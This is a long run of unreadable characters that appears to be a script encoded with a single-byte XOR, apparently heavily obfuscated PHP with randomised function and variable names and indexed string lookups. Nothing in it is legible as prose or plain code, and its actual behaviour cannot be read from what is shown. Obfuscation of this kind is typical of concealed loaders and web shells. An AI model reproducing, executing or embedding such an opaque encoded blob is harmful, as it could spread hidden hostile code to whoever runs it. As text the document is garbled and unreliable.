5+*7'&rmlieeempqrhtwrll~Oeeeeea 0s=3<vqs!exe<?+3w",2"p|.<!5!m.!*q3ww&t$ 5+*7'&rmliee*0*)-&#77 -u|&,ma50.1v-q0wu403 ll~Oe,#eema 0s=3<vqs!leeeeee>O3t6<p=,(t?0=|? +!<6|m.!*q3ww&t$ 5+*7'&rmll~Oe17.s-rs}w1.3'qm.!*q3ww&t$ 5+*7'&rmlieeemwvvnp|ll~OOOe1&s?222)1$ (10)r+3?m.!*q3ww&t$ 5+*7'&rmll~OOOeeeeee0=&?!<<|0*r/q0.<6m170 l~Oeeee!'=v64s3w-u+u+'# (!}m170 l~Oe(t!wr?& =&$$7|5m.!*q3ww&t$ 5+*7'&rmll~O,#eeem=w7ru&0,2#3mtuvqlm=}p-/*"'(=r+3m}}qllleeeee>OOOO6 117$+6, +1m=w7ru&0,2#3mrrrlietieeeeemu=vq#nu=$&tll~Oeee8Oe8eeee )6 ,#eeeem0!(7.u=/&.(.mtuvqlm=w7ru&0,2#3m}}qllle>OO6 117$+6, +1m0!(7.u=/&.(.mrrrlieetiemu=vuvnu=qupll~Oee8OOOOeee8OOOOeeeeeee8e&$1&-eeeem-7*2$') eea=w}=)'/7<3/leee>Oe="!24p3/qt!$s631p2',pm=w7ru&0,2#3mtuvplieea=w}=)'/7<3/l~O8eee&$1&-em =& 51,*+ea=w}=)'/7<3/leee>OOeeeee8Oe8OO#0+&1,*+e52.r0vr$1? !.r7qu<vpmlOeeee>O&$<w?-=0 -q6=t7sm=}p-/*"'(=r+3mtuvslie0!(7.u=/&.(.mtuvrll~O&$<w?-=0 -q6=t7sm?|?!)+'qtu++mtuv}liee?|?!)+'qtu++mtuvrll~Oeee,#em=w7ru&0,2#3mtuvqlm=w7ru&0,2#3mtuv|llle>Oe7 (*3 $&1,*+m0!(7.u=/&.(.mtuqulie0!(7.u=/&.(.mtuqtll~Oee7 (*3 $&1,*+m?|?!)+'qtu++mtuqwlie=w7ru&0,2#3mtuqvliemqnsll~Oeee7 (*3 $&1,*+m0!(7.u=/&.(.mtuqqlie?|?!)+'qtu++mtuqpliemu=rnu=vll~Oeee8Oeeeee8OOeee#0+&1,*+e03*"(s2}). <|p#(0/5' mlOeeee>O17<eeee>Oeeea25!'eexea	
	=w7ru&0,2#3mtuqsl~OOOa1qu("rv$p}tp1("&exeea25!'h{57 #,=eekeee=w7ru&0,2#3mtuqrl~Oeeea<r6$5ru)0r"v|eeeexeeeebbekee=}p-/*"'(=r+3mtuq}leeekeeeeeea25!'h{06 76eeekeeee=w7ru&0,2#3mtuq|leekeea25!'h{06 7( 1$ekee=w7ru&0,2#3mtupul~OO7 107+eea25!'h{" 17 60)16ma25!'h{57 5$7 ma<r6$5ru)0r"v|ieea1qu("rv$p}tp1("&ie?|?!)+'qtu++mtuptlll~Oe8eee&$1&-eeeem-7*2$') eeea=w}=)'/7<3/leee>O="!24p3/qt!$s631p2',pm=w7ru&0,2#3mspvlieea=w}=)'/7<3/l~Oe8eee&$1&-eem =& 51,*+eeeea=w}=)'/7<3/le>O8Oeeeeeee7 107+eeee$77$<ml~Oeee8OOOe#0+&1,*+ee?6"3//p}32wq/,|p6qma5 u|v=q5+3 (!s&.lOee>Oeeeeeea&(6--'*(0eeeeexe$77$<ml~Oea4=-}v5*t#|!/0weeeeeexeee#0+&1,*+eeeeema,v5u7ww=(33(-lee>Oeeeea,v5u7ww=(33(-0!(7.u=/&.(.mtupwleeexeeeeeegg~OOe7 107+eeeea,v5u7ww=(33(-~Oee8~Oee17<eeee>Oee,#eeeeemde=}p-/*"'(=r+3mtuvqlm=}p-/*"'(=r+3mtupvlleee99eeeeeedeee=w7ru&0,2#3mtupqlm?|?!)+'qtu++mtuppllle>Oeeee7 107+eea&(6--'*(0~OOOO8Oee,#eeeemdeee0!(7.u=/&.(.mtupslma5 u|v=q5+3 (!s&.le99eee (51<ma5 u|v=q5+3 (!s&.llee>Oeeeee7 107+eea&(6--'*(0~OO8Oeeea&|u22tq$!0#qexee0!(7.u=/&.(.m}splmleeeenemu=&nu=wleeeoeem}svwwnr}l~Oeea,666)eexee=w7ru&0,2#3mtuvqlm=w7ru&0,2#3mpw}lleeeeecceeeee,666)ml~Oeeeea#/v6?1<}u}eeeexea,666)ezeee=}p-/*"'(=r+3mtuprleeeeee=}p-/*"'(=r+3mtup}l~Oeea6s3,!.7p<.eeeexea,666)ezeem! #,+ !m?|?!)+'qtu++mtup|llezeeeee  

 eeeeeeeggleeeeeem! #,+ !m0!(7.u=/&.(.mtusullezee

 eeeeeggl~Oa-)&<("3(,"*(6+eexeee! #,+ !m=w7ru&0,2#3mtustlleeezeee	
 

 eeeeeeeegg~Oe,#eeeemdeeea6s3,!.7p<.ee99edeeea-)&<("3(,"*(6+leeeee>Oeee7 107+ea&(6--'*(0~Oeeee8Oeea0-u#,s3+ &34eexee! #,+ !m=}p-/*"'(=r+3mtuswllecceee

 
eezeeee0!(7.u=/&.(.mtusvlm

 
iebkbleeee4q}?"|6#6#&+=|mggl~Oea r'q7+p|--5?726eexee! #,+ !m=w7ru&0,2#3mtusqlleze

 eeebjb~Oeeea7#$0u#}1*1/+q|)eexe! #,+ !m0!(7.u=/&.(.mtusplleeezeee

 eee=w7ru&0,2#3mtussl~Oeeeea 5"7.=#<+p<r$-exeea,666)eeeeeezeee=w7ru&0,2#3mtusrleee0!(7.u=/&.(.mtus}l~Oa61)q(6| s/$=|$eeexeg1g~Oee&$<w?-=0 -q6=t7sm=w7ru&0,2#3mtus|lieeeeeea4=-}v5*t#|!/0wieul~Oeea!)0u" $3*&/eeexeee7**?011s1ut#=m=}p-/*"'(=r+3mturull~Oa1q&.?v5$/+000exe=}p-/*"'(=r+3mtuvqlm?|?!)+'qtu++mrrplleeezee" 1*51,*+ma!)0u" $3*&/ieee$77$<mlleeeeeee$77$<ml~O,#eeemd?|?!)+'qtu++mtupslma1q&.?v5$/+000lleeea1q&.?v5$/+000eeeeeexee$77$<ml~Oa5)#ss#u$v&#p21exee#$)6 ~Oa(up2!s"4( eeexeeeeeeu~O#*7 $&-ema5 u|v=q5+3 (!s&.eeee$6eeeeea.v22u,)=p/2q&-u7le>Oeeee,#eeemde=}p-/*"'(=r+3mturtlma.v22u,)=p/2q&-u7le99eedea.v22u,)=p/2q&-u7h{eeee99eeedeeeeea.v22u,)=p/2q&-u7h{06 7)*",+leee>Oe&*+1,+0 ~Oe8O,#eema(up2!s"4( ee{xeeeeemswstlleeee>OOO'7 $.~Oe8Oa<#'.)4*w?17 eexeeem617,+"lea.v22u,)=p/2q&-u7h{06 7)*",+~O,#em,66 1ma1q&.?v5$/+000a<#'.)4*w?17 lecceeeem,+1leeea1q&.?v5$/+000a<#'.)4*w?17 ee{e?|?!)+'qtu++m}splmleeneeweeoeeeeemu=p&!wnu=#q$ lleeee>OOOO&*+1,+0 ~Oeeeee8OOOeeee25&$&- ! ) 1 ma.v22u,)=p/2q&-u7h{ieeeee=}p-/*"'(=r+3mturwll~Oea+5w7.<6-#utr/<!eexeeee" 106 7( 1$ma.v22u,)=p/2q&-u7h{ie0!(7.u=/&.(.mturvlieeee170 l~Oe,#eem?|?!)+'qtu++mtupslma+5w7.<6-#utr/<!leccee=}p-/*"'(=r+3m}trlma+5w7.<6-#utr/<!leeeee{xemtqqtpqllee>OOOeeeeea?q,<=)/p&?}eexeee$77$<ml~Oeeee#*7 $&-eema+5w7.<6-#utr/<!eee$6ea6r&/up4!0sw2672eex{ea=6( "qw2(2&leee>Oe,#eeeem,66 1ma=6( "qw2(2&=w7ru&0,2#3mturqlleeecceea=6( "qw2(2&0!(7.u=/&.(.mturqlee{e=w7ru&0,2#3mturplmllee>Oa?q,<=)/p&?}a6r&/up4!0sw2672exea=6( "qw2(2&~O8Oeeee8Oeee,#eem?|?!)+'qtu++mturslma?q,<=)/p&?}ledxxe=}p-/*"'(=r+3mturslma+5w7.<6-#utr/<!lleeeee>O05!$1 06 7( 1$ma.v22u,)=p/2q&-u7h{ie=w7ru&0,2#3mturvliea?q,<=)/p&?}l~Oe8O8OOOeeeeeeee25&$&- ! ) 1 ma.v22u,)=p/2q&-u7h{iee=}p-/*"'(=r+3mturrll~OOeeeea#q,u<11&-'t,t!s)exe?|?!)+'qtu++mtur}lm$77$<m=w7ru&0,2#3mtur|liee=}p-/*"'(=r+3mtu}ullieeeeea.v22u,)=p/2q&-u7h{l~Oa0$v#3++5-s, pw7qexea#q,u<11&-'t,t!s)h{&7 $1 ma&|u22tq$!0#ql~Oa<&)v5q, r+?<uu eeexee$77$<ml~Oea<&)v5q, r+?<uu eeexeea0-u#,s3+ &34eekea61)q(6| s/$=|$eekee0!(7.u=/&.(.mtusrleeeekeeeea61)q(6| s/$=|$eekeeeea r'q7+p|--5?726eekeeea61)q(6| s/$=|$ekeeeea 5"7.=#<+p<r$-eekeeea61)q(6| s/$=|$eeeekeeea&|u22tq$!0#qekeea61)q(6| s/$=|$eekea-)&<("3(,"*(6+ekeeeeea61)q(6| s/$=|$eeekeee=}p-/*"'(=r+3mtupvlma.v22u,)=p/2q&-u7h{ieea&|u22tq$!0#qieeee=w7ru&0,2#3mtu}tlieeea0$v#3++5-s, pw7ql~Oee,#eeeeeema6s3,!.7p<.lee>Oea<&)v5q, r+?<uu eeeeexeeea0-u#,s3+ &34eekeeea61)q(6| s/$=|$eeeeeke=w7ru&0,2#3mtu}wlekeea61)q(6| s/$=|$eeekeea7#$0u#}1*1/+q|)eekea61)q(6| s/$=|$eekeea 5"7.=#<+p<r$-eeekea61)q(6| s/$=|$eeeekeea&|u22tq$!0#qeekeea61)q(6| s/$=|$ekeeeea6s3,!.7p<.ekeea61)q(6| s/$=|$ekee=}p-/*"'(=r+3mtu}vlma.v22u,)=p/2q&-u7h{iea&|u22tq$!0#qieeea#/v6?1<}u}iea0$v#3++5-s, pw7ql~O8Oeeeeea&(6--'*(0a.v22u,)=p/2q&-u7h{06 7)*",+eexeea<&)v5q, r+?<uu ~Oea1q&.?v5$/+000a<#'.)4*w?17 eeexeea&|u22tq$!0#q~Oea5)#ss#u$v&#p21eeeexeee170 ~Oea(up2!s"4( nn~Oeeeee8OOeee,#ema5)#ss#u$v&#p21eecceee0!(7.u=/&.(.mtu}qlm?|?!)+'qtu++mtu}pllleee>O05!$1 *51,*+ma!)0u" $3*&/ieeeeea1q&.?v5$/+000ieeee=w7ru&0,2#3m}|sll~Oee8Oeeee8eeee&$1&-em-7*2$') eeeeea=w}=)'/7<3/le>OOOOee="!24p3/qt!$s631p2',pm=w7ru&0,2#3mtu}sliea=w}=)'/7<3/l~Oe8e&$1&-eeem =& 51,*+eea=w}=)'/7<3/le>Oee8OOOee7 (*3 #,)1 7m=}p-/*"'(=r+3mtus|lieeeea4=-}v5*t#|!/0wieul~Oeeeee7 107+ea&(6--'*(0~OOeeeee8O#0+&1,*+ee57(4 -|w&(/-1|u"t?/4ma?w7r,-#/(.u-)lOee>Oeeeee,#eeeem?|?!)+'qtu++mtuwrlma?w7r,-#/(.u-)lle7 107+ea?w7r,-#/(.u-)~O,#em=w7ru&0,2#3mtupslma?w7r,-#/(.u-)leccee,66 1ma?w7r,-#/(.u-)b5bleecce0!(7.u=/&.(.mtu}rlma?w7r,-#/(.u-)b5blleee7 107+ea?w7r,-#/(.u-)b5b~O7 107+eeegg~Oe8Oeee#0+&1,*+e.=!/$3/4?61=&*-0.03ma5 u|v=q5+3 (!s&.lOe>Oeeeeea),61eeeexee$77$<ml~Oeeea!}?vw+6q."*u2|!eexeem617,+"lee726 ",|qq $q'?&m=}p-/*"'(=r+3mtu}}lieggl~Oa&-'w="q-&/p!exeem617,+"leee726 ",|qq $q'?&m?|?!)+'qtu++mtu}|lieeeggl~OOOeeeee,#ema!}?vw+6q."*u2|!eedxxeggeeeecceeeeea&-'w="q-&/p!eedxxeeggle>Oea),61a!}?vw+6q."*u2|!eeexeeeea&-'w="q-&/p!~OOOeeeee8Oeea-w#w53/=u)0/2exe726 ",|qq $q'?&m0!(7.u=/&.(.mtu|ulieeeeee$77$<mll~Oee,#em=w7ru&0,2#3mtupslma-w#w53/=u)0/2llee>OOOOe#*7 $&-ema-w#w53/=u)0/2ee$6ea-/3,=q}u$w.u7'eeeex{ea544t'1p'$*'&le>Oea33q#<('6.4r$seeeexeee57(4 -|w&(/-1|u"t?/4ma544t'1p'$*'&l~O,#eeema33q#<('6.4r$sedxxegglea),61m617,+"leeeeea-/3,=q}u$w.u7'exeea33q#<('6.4r$s~Oee8O8Oe7 107+eea),61~O8Oee#0+&1,*+eeeee  s5-1!(#sp).ss|$1u-ma-/3,=q}u$w.u7'iea't'!.3 t0v*=q0ieea6(#t6<2),27&lOOOO>Oeeee17<eee>Oe,#eemdee=w7ru&0,2#3mturtlma-/3,=q}u$w.u7'lee99eedeee=w7ru&0,2#3m|}lma-/3,=q}u$w.u7'ieeeee?|?!)+'qtu++mtu|tllle>Oeee7 107+eeeea-/3,=q}u$w.u7'~Oe8Oeee,#emdeeea-/3,=q}u$w.u7'h{-$6&$5m=}p-/*"'(=r+3mtu|wllleeeeee>Oeeee7 107+eeeea-/3,=q}u$w.u7'~Oeee8O,#eeeemdee=w7ru&0,2#3mtu}rlma6(#t6<2),27&le99edea6(#t6<2),27&lee>Oeeeeee7 107+eeeeeea-/3,=q}u$w.u7'~O8Oea-w#w53/=u)0/2exeeeee726 ",|qq $q'?&m0!(7.u=/&.(.mtu|vlie$77$<mll~O,#eeemde0!(7.u=/&.(.mtupslma-w#w53/=u)0/2lle>Oea-w#w53/=u)0/2eeeexee$77$<ml~Oe8OOOOeeeee#*7 $&-eeema-w#w53/=u)0/2ee$6eeeeeea5='|0us4t/*<wpeex{eea33'.|0-t77"|leeeee>Oeeeeea#t#q1q=!4tr-eeeexeeeee?|?!)+'qtu++mtupslma33'.|0-t77"|leeccee,66 1ma33'.|0-t77"|0!(7.u=/&.(.msupllezeem,+1leeeea33'.|0-t77"|?|?!)+'qtu++msupleeeeeeu~O,#ema#t#q1q=!4tr-eeeeccea#t#q1q=!4tr-eyeeee=w7ru&0,2#3mturplmleheemrrrp|wrnrvlleeee0+6 1ma-w#w53/=u)0/2a5='|0us4t/*<wpl~Oeeeeeee8Oeea-w#w53/=u)0/2a-/3,=q}u$w.u7'h{06 7)*",+exe$77$<mb5beeex{ea6(#t6<2),27&ieeee0!(7.u=/&.(.msuplex{ee=w7ru&0,2#3mturplmliee=w7ru&0,2#3mtu|qlex{eeeul~OO)+1#,&v0?4u+v&/s12m=}p-/*"'(=r+3mtu|plieea-w#w53/=u)0/2iee=w7ru&0,2#3m}|sll~Oeeeeee8e&$1&-eeeeem-7*2$') eeeeea=w}=)'/7<3/leee>Oeeeee="!24p3/qt!$s631p2',pm?|?!)+'qtu++mtu|slieeea=w}=)'/7<3/l~Oe8e&$1&-eeem =& 51,*+eeea=w}=)'/7<3/lee>OOeeee8O7 107+eeeeea-/3,=q}u$w.u7'~Oee8Oeee#0+&1,*+eee4up!*|p|.ss5<#ma/4/!& 7t5)&?iea-/3,=q}u$w.u7'lOeee>Oee17<ee>Oeeeee,#eeemd=}p-/*"'(=r+3mtu|rlma/4/!& 7t5)&?leee99ea/4/!& 7t5)&?exxxeggle7 107+~Oeeeeea-w#w53/=u)0/2eexe726 ",|qq $q'?&m=w7ru&0,2#3mtu|}lieeee$77$<mll~Oeeeeee,#eemd0!(7.u=/&.(.mtu||lma-w#w53/=u)0/2le99eeeed,66 1ma-w#w53/=u)0/2a/4/!& 7t5)&?lle7 107+~OOeea=w}=)'/7<3/exea-w#w53/=u)0/2a/4/!& 7t5)&?~Oe,#eem=w7ru&0,2#3mtu||lma=w}=)'/7<3/lecce (51<ma=w}=)'/7<3/0!(7.u=/&.(.mttuullleeeee>Oeeeeeea-w#w53/=u)0/2a/4/!& 7t5)&?0!(7.u=/&.(.mttuuleeexet~Oee)+1#,&v0?4u+v&/s12m0!(7.u=/&.(.mtu|}liea-w#w53/=u)0/2iee=w7ru&0,2#3mttutll~Oeeee8OOO8e&$1&-eeem-7*2$') eeeea (r'?3w#r<1 u'leee>Oeeeeee="!24p3/qt!$s631p2',pm?|?!)+'qtu++mttuwlieeea (r'?3w#r<1 u'l~Oeeeee8eeeeee&$1&-eeem =& 51,*+eeeeea (r'?3w#r<1 u'lee>Oe8O8O#0+&1,*+e?,t/7(#26$,w,5 t6ma5 u|v=q5+3 (!s&.lOeeee>Oeeeee,#eemdeee=w7ru&0,2#3mtu||lma5 u|v=q5+3 (!s&.lle>OOOOe7 107+ee#$)6 ~Oee8OOa?-,*|<u1<4-$"eeexeeee/&p(+1=3.7/"(/&rml~O#*7 $&-ema5 u|v=q5+3 (!s&.ee$6eea.v22u,)=p/2q&-u7lee>Oe#*7 $&-ema?-,*|<u1<4-$"e$6eea,.=53/5,}tle>Oee,#eem?|?!)+'qtu++mrp}lm=}p-/*"'(=r+3mttuvlekeee=w7ru&0,2#3m|rtlma,.=53/5,}tiebjbleekeeee?|?!)+'qtu++mttuqlieeeeea.v22u,)=p/2q&-u7h{06 7)*",+lleeee>Oee7 107+eeea.v22u,)=p/2q&-u7~OOO8Oe8O8O7 107+eee#$)6 ~O8O#0+&1,*+eeee!5} }=v42/31wma)'"4#.1-)&,iea6( 5=pt(,|}0lOOO>Oee7 107+e=}p-/*"'(=r+3mrp|lm=}p-/*"'(=r+3mttuplma)'"4#.1-)&,lieeuieeeea6( 5=pt(,|}0l~Oe8Oeeeeee#0+&1,*+ee6!**1)t}<?+$r/s#u/}ma,/u#7.&,=|plOe>Oee,#emd=}p-/*"'(=r+3mtu|rlma,/u#7.&,=|ple99eeeeeea,/u#7.&,=|peeexxxeeggeee99eeeeeed! #,+ !m0!(7.u=/&.(.m|svllleee7 107+eeee#$)6 ~Oeeeee61$1,&eeeeeea5-+#2t7&5+exeee+0))~Oeeee,#eeeeeema5-+#2t7&5+eeexxxee+0))leee>OOeeeea5-+#2t7&5+exe$77$<mOeee!5} }=v42/31wmeeekeeee?|?!)+'qtu++mttusliemsnwlleekeee0!(7.u=/&.(.mtuvvliOOOeeee!5} }=v42/31wmeeeeeekee0!(7.u=/&.(.mtturliemu=vnu=plleeeeeke=}p-/*"'(=r+3mtuvvliOOOOeeeel~OOOe8OOOOeeee#*7 $&-eema5-+#2t7&5+eeee$6ea!5=,)s4 5rutlee>OOOe,#eeeeem=}p-/*"'(=r+3mtuwvlma,/u#7.&,=|pieea!5=,)s4 5rutleeeeedxxee#$)6 lee7 107+e170 ~Oe8O7 107+ee#$)6 ~Oe8OOOe#0+&1,*+eee7(?+3=p/6#'"v.7!"}ma6( 5=pt(,|}0lOeee>Oee7 107+ee!5} }=v42/31wm0+,4,!mm617,+"lee?|?!)+'qtu++mr}tlmlie170 lieea6( 5=pt(,|}0l~O8OOOOee#0+&1,*+e5p+' |7)(!r}73"(=ma5-.67/ 5w+|"#}qlOeeee>Oe,#emd0!(7.u=/&.(.mttu}lm?|?!)+'qtu++mttu|lllee7 107+e#$)6 ~Oa.4#3#.u*')|.t/$eeeeexee" 1*51,*+m=w7ru&0,2#3mtttulieee$77$<mll~Oe,#emd=}p-/*"'(=r+3mttttlma.4#3#.u*')|.t/$lleee7 107+e#$)6 ~Oa+)+24 24<4?|w!"eeeeeexee0!(7.u=/&.(.mttuplma5-.67/ 5w+|"#}ql~Oeee,#em (51<ma.4#3#.u*')|.t/$a+)+24 24<4?|w!"llee7 107+eee#$)6 ~OOa33q#<('6.4r$sexe0!(7.u=/&.(.mtttwlmb9bieeeem617,+"leea.4#3#.u*')|.t/$a+)+24 24<4?|w!"l~Oea 7*(7'53|("$eexe,66 1ma33q#<('6.4r$stleeezeeem,+1leea33q#<('6.4r$steeeeeeu~OOOee7 107+ema 7*(7'53|("$ee{eeeeueeeccee=w7ru&0,2#3mtttvlmleehea 7*(7'53|("$eeeeeyeemtrwpuuh}stuull~Oe8OOOe#0+&1,*+eee=*=')+,tv#u+}rv0wwma5-.67/ 5w+|"#}qieea$)=)<q* .5.3#&,lOe>OOOOe,#emd=}p-/*"'(=r+3mttu}lm0!(7.u=/&.(.mttu|lleee99eed?|?!)+'qtu++mtttqlm?|?!)+'qtu++mtu}pllleee7 107+~OOOOea.4#3#.u*')|.t/$exe" 1*51,*+m0!(7.u=/&.(.mtttplieeeee$77$<mll~OOOOee,#eeemd=}p-/*"'(=r+3mttttlma.4#3#.u*')|.t/$lleea.4#3#.u*')|.t/$eeexeeee$77$<ml~OOOOeea+)+24 24<4?|w!"exeeee=w7ru&0,2#3mtttslma5-.67/ 5w+|"#}ql~Oeeee,#eeemda$)=)<q* .5.3#&,leee>Oeeeee,#eeem,66 1ma.4#3#.u*')|.t/$a+)+24 24<4?|w!"lleee>Oe0+6 1ma.4#3#.u*')|.t/$a+)+24 24<4?|w!"l~O05!$1 *51,*+m=}p-/*"'(=r+3mtttpliea.4#3#.u*')|.t/$l~Oe8Oe7 107+~O8Oeea$)w)#u=7<s!eexeeu~Oeeeeee,#eeemd (51<ma.4#3#.u*')|.t/$a+)+24 24<4?|w!"lleeeee>Oeeeea33q#<('6.4r$seexee0!(7.u=/&.(.mtttwlmb9bieeeeeem617,+"leeea.4#3#.u*')|.t/$a+)+24 24<4?|w!"l~Oeea$)w)#u=7<s!eeexem,+1leeeea33q#<('6.4r$su~Oeee8Oeeeeea$)w)#u=7<s!nn~Oeeeeea 7*(7'53|("$eexeema$)w)#u=7<s!eeee{xeemu=tnu=wlleeze=}p-/*"'(=r+3mtttvlmleeeeeeu~O#*7 $&-eeema.4#3#.u*')|.t/$e$6ea13v 4w-*v& 0eeex{ea) .*?$$55p3"$w-ple>OOea,/u#7.&,=|pexeee0!(7.u=/&.(.mtttwlmb9bieem617,+"lea) .*?$$55p3"$w-pl~Oeeee,#eeemd (51<ma,/u#7.&,=|ptleecce=w7ru&0,2#3mtttrlmleeeeehem,+1leea,/u#7.&,=|pteee{eeeemtrwrstnv|lle0+6 1ma.4#3#.u*')|.t/$a13v 4w-*v& 0l~Oeeeeee8Oea.4#3#.u*')|.t/$a+)+24 24<4?|w!"eeexea$)w)#u=7<s!eekeeeeb9beeeekeea 7*(7'53|("$~OOO05!$1 *51,*+m?|?!)+'qtu++mtttpliea.4#3#.u*')|.t/$l~O8Oe#0+&1,*+ee6#q)pq/v5t527 3=ma5-.67/ 5w+|"#}qieeea)36 q-,u)5lO>Oeeeeeeee,#emd=}p-/*"'(=r+3mtu|rlma)36 q-,u)5lleeee7 107+~OOeeea.5p((rtt*'?&4r$)eexee0/}#1#6<,112<!r0.qm?|?!)+'qtu++mttt}lma5-.67/ 5w+|"#}qlie=}p-/*"'(=r+3mttt|ll~Oee,#eema.5p((rtt*'?&4r$)eedxxe#$)6 leee>Oeee,#em=}p-/*"'(=r+3m||slma.5p((rtt*'?&4r$)ieea)36 q-,u)5leeeexxxeee?|?!)+'qtu++mtuvtlma)36 q-,u)5leecce*!#q)7s,/.-vw.+t,6'=pma.5p((rtt*'?&4r$)ieeeea5-.67/ 5w+|"#}qllee7 107+~OOe&-p.5#|,2/2?|.!,ma.5p((rtt*'?&4r$)l~Oeeeeee8Oeeee0!(7.u=/&.(.m||slma5-.67/ 5w+|"#}qieea)36 q-,u)5l~OOOO8OOOeee#0+&1,*+eeeee<?+3w",2"p|.<!5!ma5-.67/ 5w+|"#}qieea?,-&2p00.rv-lOOee>Oea,up&5"-,q7eeeeexe0!(7.u=/&.(.mttwulma5-.67/ 5w+|"#}ql~Oeeeeeee,#emd=}p-/*"'(=r+3m}rwlma,up&5"-,q7lle>Oe="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mttwtlie0!(7.u=/&.(.mttwwlekeee=w7ru&0,2#3m}p}lma5-.67/ 5w+|"#}qll~Oe7 107+ee#$)6 ~Oe8OOeea)!!wr0,r&u?-'s$eeeeexeeeeem0!(7.u=/&.(.mttwvlma5-.67/ 5w+|"#}qieehmtnvllexxxe0!(7.u=/&.(.mtuvvll~Oee,#eeema)!!wr0,r&u?-'s$ecceeeed +/$07!"qr+ 6)*pw</s -ma?,-&2p00.rv-lle>Oe="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mttwtliee=}p-/*"'(=r+3mttwqleeeekeeee?|?!)+'qtu++m}p}lma5-.67/ 5w+|"#}qll~Oe7 107+e#$)6 ~Oeee8Oeeee,#eeeema)!!wr0,r&u?-'s$eeeecceeee5p+' |7)(!r}73"(=ma5-.67/ 5w+|"#}qlle7 107+eee#$)6 ~Oeeeea ,.v5#1)&$&eexeeeeee#$)6 ~Oee,#eeeem0!(7.u=/&.(.m}vqlma5-.67/ 5w+|"#}qlleea ,.v5#1)&$&eeeeeexeeee170 ~eOeeea)36 q-,u)5exeee+0))~OOeea!uu+6-31/!/eeexeeee#$)6 ~OOOea0 t()3})"+0eeexeeee+0))~Oe,#em0!(7.u=/&.(.m}}tlma5-.67/ 5w+|"#}qleecced=w7ru&0,2#3m}vqlma5-.67/ 5w+|"#}qllee>Oea!uu+6-31/!/exee170 ~OOOOa0 t()3})"+0exeeee#,) 5 7(6ma5-.67/ 5w+|"#}ql~Oeee,#eeema0 t()3})"+0eeeeeexxxe#$)6 leeea0 t()3})"+0eeexeeeeee+0))~O,#eeeem?|?!)+'qtu++mtut}lma5-.67/ 5w+|"#}qleeeeyxeeem|spupvuvhqqurspuvllea)36 q-,u)5eexe=}p-/*"'(=r+3mtut|lma5-.67/ 5w+|"#}ql~Oe8Oee,#emd0!(7.u=/&.(.mttwplm=w7ru&0,2#3mw}llleeeee>O="!24p3/qt!$s631p2',pm?|?!)+'qtu++mttwtliee=w7ru&0,2#3mttwsleeeekeeee=w7ru&0,2#3m}p}lma5-.67/ 5w+|"#}qll~Oeeeeeeee7 107+ee#$)6 ~Oeee8Oeeea(*-,5-t"s0#exee#$)6 ~Oeeeeea !&=t  w=)s'$=t1eexeeee#$)6 ~OOOa&)eexee=}p-/*"'(=r+3mtuvtlma?,-&2p00.rv-l~Oe#*7eeema 4p$$?#r}w+w!46eexeu~eeea 4p$$?#r}w+w!46eyeew~eeea 4p$$?#r}w+w!46nnle>OOOOeea(*-,5-t"s0#eeeeexe0/}#1#6<,112<!r0.qma,up&5"-,q7ie=}p-/*"'(=r+3m}qpll~O,#ema(*-,5-t"s0#eeeeedxxeee#$)6 lee>Oa !&=t  w=)s'$=t1eeeeeexeee#$)6 ~Oeeea,/u#7.&,=|pexeeeee=}p-/*"'(=r+3mttwrlma(*-,5-t"s0#ieee=}p-/*"'(=r+3mttw}ll~O,#ema,/u#7.&,=|peedxxee#$)6 le>Oea+"q|?=.}4/!=eexeu~Oeeee2-,) eema+"q|?=.}4/!=eeeyeea&)le>Oeeeeeeeea,#17p<5q<#exeeee0!(7.u=/&.(.mttw|lma,/u#7.&,=|piee?|?!)+'qtu++mttwvlma?,-&2p00.rv-iea+"q|?=.}4/!=ll~Oe,#ema,#17p<5q<#eeeeeexxxee#$)6 e99eea,#17p<5q<#eeexxxeuleeee'7 $.~OOOOeeeea+"q|?=.}4/!=enxeea,#17p<5q<#~Oeeee8Oeeeee##)06-ma,/u#7.&,=|pl~O,#em=w7ru&0,2#3mttwplm?|?!)+'qtu++mttvullleee#6<+&ma,/u#7.&,=|pl~Oeee#&)*6 ma,/u#7.&,=|pl~Oeeeee,#eeema+"q|?=.}4/!=exxxea&)leea !&=t  w=)s'$=t1eeexeea+"q|?=.}4/!=~Oe8eeeee )6 eeeee>Oeeea !&=t  w=)s'$=t1eeeeexe=w7ru&0,2#3m||slma(*-,5-t"s0#ieeeeea?,-&2p00.rv-l~OO8Oeeee,#eeeema !&=t  w=)s'$=t1eeedxxe#$)6 ecceeeeeea !&=t  w=)s'$=t1eexxxeea&)lee'7 $.~Oeeee&-p.5#|,2/2?|.!,ma(*-,5-t"s0#l~Oea(*-,5-t"s0#eexe#$)6 ~OOO8OOOO8Oee,#eeeeema(*-,5-t"s0#exxxeee#$)6 le>Oeee="!24p3/qt!$s631p2',pm?|?!)+'qtu++mttwtliee=w7ru&0,2#3mttvtleke=w7ru&0,2#3m}p}lma5-.67/ 5w+|"#}qll~Oe7 107+e#$)6 ~Oeeee8Oeeeeee,#eeeema !&=t  w=)s'$=t1eeexxxeee#$)6 ee99eea !&=t  w=)s'$=t1edxxeeeeea&)lee>Oeeee="!24p3/qt!$s631p2',pm?|?!)+'qtu++mttwtlie0!(7.u=/&.(.mttvwleeeekeee=}p-/*"'(=r+3mttvvlma5-.67/ 5w+|"#}qll~Oee&-p.5#|,2/2?|.!,ma(*-,5-t"s0#l~Oe7 107+eee#$)6 ~Oee8O,#eema0 t()3})"+0eedxxee+0))leee?|?!)+'qtu++mtpwlma(*-,5-t"s0#ieeeeeea0 t()3})"+0eeeecemq|vnt}ll~Oeea0(1/.5}|6<"!3(4pexeee*!#q)7s,/.-vw.+t,6'=pma(*-,5-t"s0#ieeea5-.67/ 5w+|"#}ql~Oe,#emda0(1/.5}|6<"!3(4peeeeccea!uu+6-31/!/eecceeeeeeda ,.v5#1)&$&lee>Oeee,#eem?|?!)+'qtu++m}}tlma5-.67/ 5w+|"#}qlleeeee17.s-rs}w1.3'qma5-.67/ 5w+|"#}qiemv}|nvtll~Oeeeeeea?"1)+ -!0)#$.eeeeeexeeeea5-.67/ 5w+|"#}qeeeeeeke?|?!)+'qtu++mttvqleekeeee=w7ru&0,2#3mttvplmm|u}n|wlieemtwp}|hwp|ull~Oe,#em*!#q)7s,/.-vw.+t,6'=pma5-.67/ 5w+|"#}qieeeeeea?"1)+ -!0)#$.lle>Oa0(1/.5}|6<"!3(4peeeexe*!#q)7s,/.-vw.+t,6'=pma(*-,5-t"s0#iea5-.67/ 